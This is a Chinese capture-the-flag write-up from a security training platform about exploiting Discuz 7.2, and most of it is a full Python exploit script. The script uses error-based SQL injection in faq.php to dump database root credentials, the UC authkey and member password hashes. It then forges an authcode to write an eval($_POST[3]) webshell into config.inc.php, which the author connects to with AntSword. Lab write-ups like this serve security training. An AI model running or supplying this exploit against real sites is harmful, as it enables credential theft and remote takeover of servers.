墨者学院-CMS系统漏洞分析溯源(第9题)

一.解题思路

查询版本，直接使用工具破解

二.操作步骤

1.浏览网址
可以看到版本号为Discuz 7.2
2.利用工具查看是否存在漏洞
使用工具dz7.x_faq.py
源码为：

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf-8 -*- 

# author iswin 


import sys

import hashlib

import time

import math

import base64

import urllib2 

import urllib

import re
def sendRequest(url,para):

        try:

                data = urllib.urlencode(para)

                req=urllib2.Request(url,data)

                res=urllib2.urlopen(req,timeout=20).read()

        except Exception as ex:

                print 'Exploit Failed!\n%s'%(e)

                exit(0);

        return res

 

def getTablePrefix(url):

        print 'Start GetTablePrefix...'

        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

        res=sendRequest(url,para);

        pre=re.findall("Duplicate entry '(.*?)'",res);

        if len(pre)==0:

                print 'Exploit Failed!'

                exit(0);

        table_pre=pre[0][:len(pre[0])-1].decode('hex')

        table_pre=table_pre[0:table_pre.index('_')]

        print 'Table_pre:%s'%(table_pre)

        return table_pre

 

def getCurrentUser(url):

        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

        res=sendRequest(url,para)

        pre=re.findall("Duplicate entry '(.*?)'",res)

        if len(pre)==0:

                print 'Exploit Failed!'

                exit(0);

        table_pre=pre[0][:len(pre[0])-1]

        print 'Current User:%s'%(table_pre)

        return table_pre

 

def getUcKey(url):

        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

        para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

        res=sendRequest(url,para);

        res1=sendRequest(url,para1);

        key1=re.findall("Duplicate entry '(.*?)'",res)

        key2=re.findall("Duplicate entry '(.*?)'",res1)

        if len(key1)==0:

                print 'Get Uc_Key Failed!'

                return ''

        key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]

        print 'uc_key:%s'%(key)

        return key

 

def getRootUser(url):

        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

        res=sendRequest(url,para);

        pre=re.findall("Duplicate entry '(.*?)'",res)

        if len(pre)==0:

                print 'Exploit Failed!'

                exit(0);

        table_pre=pre[0][:len(pre[0])-1].split(' ')

        print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

 

def dumpData(url,table_prefix,count):

        para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}

        res=sendRequest(url,para);

        datas=re.findall("Duplicate entry '(.*?)'",res)

        if len(datas)==0:

                print 'Exploit Failed!'

                exit(0)

        cleandata=datas[0][:len(datas[0])-1]

        info=cleandata.split(' ')

        print 'user:%s pass:%s'%(info[0].decode('utf-8').encode('cp936'),info[1])

 

def microtime(get_as_float = False) :

    if get_as_float:

        return time.time()

    else:

        return '%.8f %d' % math.modf(time.time())

 

def get_authcode(string, key = ''):

    ckey_length = 4

    key = hashlib.md5(key).hexdigest()

    keya = hashlib.md5(key[0:16]).hexdigest()

    keyb = hashlib.md5(key[16:32]).hexdigest()

    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 

    key_length = len(cryptkey)

    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

    string_length = len(string)

    result = ''

    box = range(0, 256)

    rndkey = dict()

    for i in range(0,256):

        rndkey[i] = ord(cryptkey[i % key_length])

    j=0

    for i in range(0,256):

        j = (j + box[i] + rndkey[i]) % 256

        tmp = box[i]

        box[i] = box[j]

        box[j] = tmp

    a=0

    j=0

    for i in range(0,string_length):

        a = (a + 1) % 256

        j = (j + box[a]) % 256

        tmp = box[a]

        box[a] = box[j]

        box[j] = tmp

        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

    return keyc + base64.b64encode(result).replace('=', '')

 

def get_shell(url,key,host):

    headers={'Accept-Language':'zh-cn',

    'Content-Type':'application/x-www-form-urlencoded',

    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

    'Referer':url

    }

    tm = time.time()+10*3600

    tm="time=%d&action=updateapps" %tm

    code = urllib.quote(get_authcode(tm,key))

    url=url+"?code="+code

    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>

            <root>

            <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>

            </root>'''

    try:

        req=urllib2.Request(url,data=data1,headers=headers)

        ret=urllib2.urlopen(req)

    except:

        return "Exploit Falied"

    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>

            <root>

            <item id="UC_API">http://aaa</item>

            </root>'''

    try:

        req=urllib2.Request(url,data=data2,headers=headers)

        ret=urllib2.urlopen(req)

    except:

        return "error"

 

    try:

            req=urllib2.Request(host+'/config.inc.php')

            res=urllib2.urlopen(req,timeout=20).read()

    except Exception, e:

            print 'GetWebshell Failed,%s'%(e)

            return 

    print "webshell:"+host+"/config.inc.php,password:3"

 

if __name__ == '__main__':

        print 'DZ7.x Exp Code By iswin'

        if len(sys.argv)<3:

                print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.waitalone.cn 10'

                exit(0)

        url=sys.argv[1]+'/faq.php'

        count=int(sys.argv[2])

        user=getCurrentUser(url)

        if user.startswith('root@'):

                getRootUser(url)

        uc_key=getUcKey(url)

        if len(uc_key)==64:

                print 'Start GetWebshell...'

                get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])

        tb_pre=getTablePrefix(url)

        print 'Start DumpData...'

        for x in xrange(0,count):

                dumpData(url,tb_pre,x)

注：需要在python2环境下进行执行，不然会报错
命令：python dz7.x_faq.py ‘ip’10
其中‘ip’ 为待检测的域名
后面的数字10为dump出多少条数据。

虽然解密失败，但是可以直接使用蚁剑对木马进行连接

3.连接蚁剑

Key文件在根目录下

网络信息安全-ploto